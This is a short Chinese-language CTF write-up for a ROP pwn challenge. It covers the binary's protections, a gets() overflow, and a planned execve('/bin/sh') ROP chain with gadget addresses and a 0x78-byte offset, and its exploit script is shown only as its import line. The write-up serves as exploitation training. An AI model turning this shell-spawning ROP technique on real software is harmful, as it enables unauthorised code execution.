ROP-chall
Author:堇姬
題目來源
ICED的pwn題目
https://ctf.nicewhite.xyz/
確認保護
看到有開Stack canary,但溢出後卻沒有報stack canary的錯誤,所以應該是沒開。
另外他有開NX,所以沒辦法寫shellcode
分析ASM
有gets 可以BOF,不過沒有其他function可以return過去,所以應該是要ROP
堆ROP
- execve(‘bin/sh’)
暫存器 | 值 |
---|---|
rax | 0x3b |
rdi | 要執行的參數值(/bin/sh) |
rsi | argv(這裡=0) |
rdx | envp(這裡=0) |
- stack
1
2
3
4
5
6
7
8
9pop rax
0x3b
pop rdi
command_addr_in_stack
pop rsi
0
pop rdx;
0
syscall
ROPgadget找位置
暫存器 | 位置 | 要蓋的值 |
---|---|---|
pop rax ;ret | 0x4516a7 | 0x3b |
pop rdi ;ret | 0x4018c2 | 0x4c3300 |
pop rsi ;ret | 0x40f21e | 0 |
pop rdx ;ret | 0x4017cf | 0 |
syscall | 0x4012d3 | 無 |
輸入的shellcode存在0x4c3300
要蓋0x70+0x8然後開始ret
Script
1 | from pwn import * |